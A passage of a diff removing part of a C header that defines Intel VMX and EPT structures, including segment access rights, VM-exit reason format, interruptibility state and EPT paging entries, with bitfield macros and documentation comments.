VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2(_) (((_) >> 28) & 0x0F) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_vmread_vmwrite; - -/** - * @} - */ - - /** - * @brief - The low 16 bits correspond to bits 23:8 of the upper 32 bits of a 64-bit segment descriptor. While bits 19:16 - * of code-segment and data-segment descriptors correspond to the upper 4 bits of the segment limit, the corresponding bits - * (bits 11:8) are reserved in this VMCS field. - * - Bit 16 indicates an unusable segment. Attempts to use such a segment fault except in 64-bit mode. In general, a - * segment register is unusable if it has been loaded with a null selector. - * - Bits 31:17 are reserved - * - * @note There are a few exceptions to this statement. For example, a segment with a non-null selector may be unusable - * following a task switch that fails after its commit point. In contrast, the TR register is usable after processor reset - * despite having a null selector - * @see SEGMENT_DESCRIPTOR_32 - * @see SEGMENT_DESCRIPTOR_64 - * @see XXX_ACCESS_RIGHTS fields of 32_BIT_GUEST_STATE_FIELDS - * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 3:0] Segment type. - */ - uint32_t type : 4; -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_BIT 0 -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0x0F -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F -#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 0) & 0x0F) - - /** - * [Bit 4] S - Descriptor type (0 = system; 1 = code or data). - */ - uint32_t descriptor_type : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 4 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x10 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 4) & 0x01) - - /** - * [Bits 6:5] DPL - Descriptor privilege level. - */ - uint32_t descriptor_privilege_level : 2; -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 5 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x60 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 5) & 0x03) - - /** - * [Bit 7] P - Segment present. - */ - uint32_t present : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 7 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x80 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 7) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bit 12] AVL - Available for use by system software. - */ - uint32_t available_bit : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_BIT 12 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_FLAG 0x1000 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Reserved (except for CS). L - 64-bit mode active (for CS only). - */ - uint32_t long_mode : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 13 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x2000 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] D/B - Default operation size (0 = 16-bit segment; 1 = 32-bit segment). - */ - uint32_t default_big : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 14 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x4000 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] G - Granularity. - */ - uint32_t granularity : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 15 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x8000 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] Segment unusable (0 = usable; 1 = unusable). - */ - uint32_t unusable : 1; -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_BIT 16 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_FLAG 0x10000 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_MASK 0x01 -#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE(_) (((_) >> 16) & 0x01) - uint32_t reserved2 : 15; - }; - - uint32_t flags; -} vmx_segment_access_rights; - -/** - * @brief The IA-32 architecture includes features that permit certain events to be blocked for a period of time. This - * field contains information about such blocking - * - * @see INTERRUPTIBILITY_STATE of 32_BIT_GUEST_STATE_FIELDS - * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] Execution of STI with RFLAGS.IF = 0 blocks maskable interrupts on the instruction boundary following its - * execution.1 Setting this bit indicates that this blocking is in effect. - * - * @see Vol2B[4(STI-Set Interrupt Flag)] - */ - uint32_t blocking_by_sti : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_BIT 0 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_FLAG 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Execution of a MOV to SS or a POP to SS blocks or suppresses certain debug exceptions as well as interrupts - * (maskable and nonmaskable) on the instruction boundary following its execution. Setting this bit indicates that this - * blocking is in effect. This document uses the term "blocking by MOV SS," but it applies equally to POP SS. - * - * @see Vol3A[6.8.3(Masking Exceptions and Interrupts When Switching Stacks)] - */ - uint32_t blocking_by_mov_ss : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_BIT 1 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_FLAG 0x02 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] System-management interrupts (SMIs) are disabled while the processor is in system-management mode (SMM). Setting - * this bit indicates that blocking of SMIs is in effect. - * - * @see Vol3C[34.2(System Management Interrupt (SMI))] - */ - uint32_t blocking_by_smi : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_BIT 2 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_FLAG 0x04 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Delivery of a non-maskable interrupt (NMI) or a system-management interrupt (SMI) blocks subsequent NMIs until - * the next execution of IRET. Setting this bit indicates that blocking of NMIs is in effect. Clearing this bit does not - * imply that NMIs are not (temporarily) blocked for other reasons. If the "virtual NMIs" VM-execution control is 1, this - * bit does not control the blocking of NMIs. Instead, it refers to "virtual-NMI blocking" (the fact that guest software is - * not ready for an NMI). - * - * @see Vol3C[6.7.1(Handling Multiple NMIs)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] - */ - uint32_t blocking_by_nmi : 1; -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_BIT 3 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_FLAG 0x08 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. - */ - uint32_t enclave_interruption : 1; -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_BIT 4 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_FLAG 0x10 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION(_) (((_) >> 4) & 0x01) - uint32_t reserved1 : 27; - }; - - uint32_t flags; -} vmx_interruptibility_state; - -typedef enum -{ - /** - * The logical processor is executing instructions normally. - */ - vmx_active = 0x00000000, - - /** - * The logical processor is inactive because it executed the HLT instruction. - */ - vmx_hlt = 0x00000001, - - /** - * The logical processor is inactive because it incurred a triple fault1 or some other serious error. - */ - vmx_shutdown = 0x00000002, - - /** - * The logical processor is inactive because it is waiting for a startup-IPI (SIPI). - */ - vmx_wait_for_sipi = 0x00000003, -} vmx_guest_activity_state; - -/** - * @} - */ - - /** - * @brief Format of Exit Reason - * - * Exit reason (32 bits). This field encodes the reason for the VM exit and has the structure. - * - * @see Vol3C[24.9.1(Basic VM-Exit Information)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 15:0] Provides basic information about the cause of the VM exit (if bit 31 is clear) or of the VM-entry failure - * (if bit 31 is set). - */ - uint32_t basic_exit_reason : 16; -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_BIT 0 -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_FLAG 0xFFFF -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_MASK 0xFFFF -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bit 16] Always cleared to 0. - */ - uint32_t always0 : 1; -#define VMX_VMEXIT_REASON_ALWAYS0_BIT 16 -#define VMX_VMEXIT_REASON_ALWAYS0_FLAG 0x10000 -#define VMX_VMEXIT_REASON_ALWAYS0_MASK 0x01 -#define VMX_VMEXIT_REASON_ALWAYS0(_) (((_) >> 16) & 0x01) - uint32_t reserved1 : 10; -#define VMX_VMEXIT_REASON_RESERVED1_BIT 17 -#define VMX_VMEXIT_REASON_RESERVED1_FLAG 0x7FE0000 -#define VMX_VMEXIT_REASON_RESERVED1_MASK 0x3FF -#define VMX_VMEXIT_REASON_RESERVED1(_) (((_) >> 17) & 0x3FF) - - /** - * [Bit 27] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. - */ - uint32_t enclave_mode : 1; -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_BIT 27 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_FLAG 0x8000000 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_MASK 0x01 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE(_) (((_) >> 27) & 0x01) - - /** - * [Bit 28] Pending MTF VM exit. - */ - uint32_t pending_mtf_vm_exit : 1; -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_BIT 28 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_FLAG 0x10000000 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_MASK 0x01 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT(_) (((_) >> 28) & 0x01) - - /** - * [Bit 29] VM exit from VMX root operation. - */ - uint32_t vm_exit_from_vmx_roor : 1; -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_BIT 29 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_FLAG 0x20000000 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_MASK 0x01 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR(_) (((_) >> 29) & 0x01) - uint32_t reserved2 : 1; -#define VMX_VMEXIT_REASON_RESERVED2_BIT 30 -#define VMX_VMEXIT_REASON_RESERVED2_FLAG 0x40000000 -#define VMX_VMEXIT_REASON_RESERVED2_MASK 0x01 -#define VMX_VMEXIT_REASON_RESERVED2(_) (((_) >> 30) & 0x01) - - /** - * [Bit 31] VM-entry failure: - * - 0 = true VM exit - * - 1 = VM-entry failure - */ - uint32_t vm_entry_failure : 1; -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_BIT 31 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_FLAG 0x80000000 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_MASK 0x01 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmx_vmexit_reason; - -typedef struct -{ -#define IO_BITMAP_A_MIN 0x00000000 -#define IO_BITMAP_A_MAX 0x00007FFF -#define IO_BITMAP_B_MIN 0x00008000 -#define IO_BITMAP_B_MAX 0x0000FFFF - uint8_t io_a[4096]; - uint8_t io_b[4096]; -} vmx_io_bitmap; - -typedef struct -{ -#define MSR_ID_LOW_MIN 0x00000000 -#define MSR_ID_LOW_MAX 0x00001FFF -#define MSR_ID_HIGH_MIN 0xC0000000 -#define MSR_ID_HIGH_MAX 0xC0001FFF - uint8_t rdmsr_low[1024]; - uint8_t rdmsr_high[1024]; - uint8_t wrmsr_low[1024]; - uint8_t wrmsr_high[1024]; -} vmx_msr_bitmap; - -/** - * @defgroup ept \ - * The extended page-table mechanism - * - * The extended page-table mechanism (EPT) is a feature that can be used to support the virtualization of physical memory. - * When EPT is in use, certain addresses that would normally be treated as physical addresses (and used to access memory) - * are instead treated as guest-physical addresses. Guest-physical addresses are translated by traversing a set of EPT - * paging structures to produce physical addresses that are used to access memory. - * - * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] (reference) - * @{ - */ - /** - * @brief Extended-Page-Table Pointer (EPTP) - * - * The extended-page-table pointer (EPTP) contains the address of the base of EPT PML4 table, as well as other EPT - * configuration information. - * - * @see Vol3C[28.2.2(EPT Translation Mechanism] - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] EPT paging-structure memory type: - * - 0 = Uncacheable (UC) - * - 6 = Write-back (WB) - * Other values are reserved. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPT_POINTER_MEMORY_TYPE_BIT 0 -#define EPT_POINTER_MEMORY_TYPE_FLAG 0x07 -#define EPT_POINTER_MEMORY_TYPE_MASK 0x07 -#define EPT_POINTER_MEMORY_TYPE(_) (((_) >> 0) & 0x07) - - /** - * [Bits 5:3] This value is 1 less than the EPT page-walk length. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t page_walk_length : 3; -#define EPT_POINTER_PAGE_WALK_LENGTH_BIT 3 -#define EPT_POINTER_PAGE_WALK_LENGTH_FLAG 0x38 -#define EPT_POINTER_PAGE_WALK_LENGTH_MASK 0x07 -#define EPT_POINTER_PAGE_WALK_LENGTH(_) (((_) >> 3) & 0x07) -#define EPT_PAGE_WALK_LENGTH_4 0x00000003 - - /** - * [Bit 6] Setting this control to 1 enables accessed and dirty flags for EPT. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t enable_access_and_dirty_flags : 1; -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_BIT 6 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_FLAG 0x40 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_MASK 0x01 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS(_) (((_) >> 6) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bits 47:12] Bits N-1:12 of the physical address of the 4-KByte aligned EPT PML4 table. - */ - uint64_t page_frame_number : 36; -#define EPT_POINTER_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_POINTER_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_POINTER_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_POINTER_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ept_pointer; - -/** - * @brief Format of an EPT PML4 Entry (PML4E) that References an EPT Page-Directory-Pointer Table - * - * A 4-KByte naturally aligned EPT PML4 table is located at the physical address specified in bits 51:12 of the - * extended-page-table pointer (EPTP), a VM-execution control field. An EPT PML4 table comprises 512 64-bit entries (EPT - * PML4Es). An EPT PML4E is selected using the physical address defined as follows: - * - Bits 63:52 are all 0. - * - Bits 51:12 are from the EPTP. - * - Bits 11:3 are bits 47:39 of the guest-physical address. - * - Bits 2:0 are all 0. - * Because an EPT PML4E is identified using bits 47:39 of the guest-physical address, it controls access to a 512- GByte - * region of the guest-physical-address space. - * - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 512-GByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPT_PML4_READ_ACCESS_BIT 0 -#define EPT_PML4_READ_ACCESS_FLAG 0x01 -#define EPT_PML4_READ_ACCESS_MASK 0x01 -#define EPT_PML4_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 512-GByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPT_PML4_WRITE_ACCESS_BIT 1 -#define EPT_PML4_WRITE_ACCESS_FLAG 0x02 -#define EPT_PML4_WRITE_ACCESS_MASK 0x01 -#define EPT_PML4_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 512-GByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 512-GByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPT_PML4_EXECUTE_ACCESS_BIT 2 -#define EPT_PML4_EXECUTE_ACCESS_FLAG 0x04 -#define EPT_PML4_EXECUTE_ACCESS_MASK 0x01 -#define EPT_PML4_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 512-GByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPT_PML4_ACCESSED_BIT 8 -#define EPT_PML4_ACCESSED_FLAG 0x100 -#define EPT_PML4_ACCESSED_MASK 0x01 -#define EPT_PML4_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 512-GByte region - * controlled by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPT_PML4_USER_MODE_EXECUTE_BIT 10 -#define EPT_PML4_USER_MODE_EXECUTE_FLAG 0x400 -#define EPT_PML4_USER_MODE_EXECUTE_MASK 0x01 -#define EPT_PML4_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPT_PML4_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_PML4_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_PML4_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_PML4_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} ept_pml4; - -/** - * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPDPTE_1GB_READ_ACCESS_BIT 0 -#define EPDPTE_1GB_READ_ACCESS_FLAG 0x01 -#define EPDPTE_1GB_READ_ACCESS_MASK 0x01 -#define EPDPTE_1GB_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPDPTE_1GB_WRITE_ACCESS_BIT 1 -#define EPDPTE_1GB_WRITE_ACCESS_FLAG 0x02 -#define EPDPTE_1GB_WRITE_ACCESS_MASK 0x01 -#define EPDPTE_1GB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 1-GByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 1-GByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDPTE_1GB_EXECUTE_ACCESS_BIT 2 -#define EPDPTE_1GB_EXECUTE_ACCESS_FLAG 0x04 -#define EPDPTE_1GB_EXECUTE_ACCESS_MASK 0x01 -#define EPDPTE_1GB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 1-GByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPDPTE_1GB_MEMORY_TYPE_BIT 3 -#define EPDPTE_1GB_MEMORY_TYPE_FLAG 0x38 -#define EPDPTE_1GB_MEMORY_TYPE_MASK 0x07 -#define EPDPTE_1GB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 1-GByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPDPTE_1GB_IGNORE_PAT_BIT 6 -#define EPDPTE_1GB_IGNORE_PAT_FLAG 0x40 -#define EPDPTE_1GB_IGNORE_PAT_MASK 0x01 -#define EPDPTE_1GB_IGNORE_PAT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Must be 1 (otherwise, this entry references an EPT page directory). - */ - uint64_t large_page : 1; -#define EPDPTE_1GB_LARGE_PAGE_BIT 7 -#define EPDPTE_1GB_LARGE_PAGE_FLAG 0x80 -#define EPDPTE_1GB_LARGE_PAGE_MASK 0x01 -#define EPDPTE_1GB_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDPTE_1GB_ACCESSED_BIT 8 -#define EPDPTE_1GB_ACCESSED_FLAG 0x100 -#define EPDPTE_1GB_ACCESSED_MASK 0x01 -#define EPDPTE_1GB_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 1-GByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPDPTE_1GB_DIRTY_BIT 9 -#define EPDPTE_1GB_DIRTY_FLAG 0x200 -#define EPDPTE_1GB_DIRTY_MASK 0x01 -#define EPDPTE_1GB_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDPTE_1GB_USER_MODE_EXECUTE_BIT 10 -#define EPDPTE_1GB_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDPTE_1GB_USER_MODE_EXECUTE_MASK 0x01 -#define EPDPTE_1GB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 19; - - /** - * [Bits 47:30] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 18; -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_BIT 30 -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_MASK 0x3FFFF -#define EPDPTE_1GB_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) - uint64_t reserved2 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPDPTE_1GB_SUPPRESS_VE_BIT 63 -#define EPDPTE_1GB_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPDPTE_1GB_SUPPRESS_VE_MASK 0x01 -#define EPDPTE_1GB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epdpte_1gb; - -/** - * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that References an EPT Page Directory - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPDPTE_READ_ACCESS_BIT 0 -#define EPDPTE_READ_ACCESS_FLAG 0x01 -#define EPDPTE_READ_ACCESS_MASK 0x01 -#define EPDPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPDPTE_WRITE_ACCESS_BIT 1 -#define EPDPTE_WRITE_ACCESS_FLAG 0x02 -#define EPDPTE_WRITE_ACCESS_MASK 0x01 -#define EPDPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 1-GByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 1-GByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDPTE_EXECUTE_ACCESS_BIT 2 -#define EPDPTE_EXECUTE_ACCESS_FLAG 0x04 -#define EPDPTE_EXECUTE_ACCESS_MASK 0x01 -#define EPDPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDPTE_ACCESSED_BIT 8 -#define EPDPTE_ACCESSED_FLAG 0x100 -#define EPDPTE_ACCESSED_MASK 0x01 -#define EPDPTE_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte region controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDPTE_USER_MODE_EXECUTE_BIT 10 -#define EPDPTE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDPTE_USER_MODE_EXECUTE_MASK 0x01 -#define EPDPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPDPTE_PAGE_FRAME_NUMBER_BIT 12 -#define EPDPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPDPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPDPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} epdpte; - -/** - * @brief Format 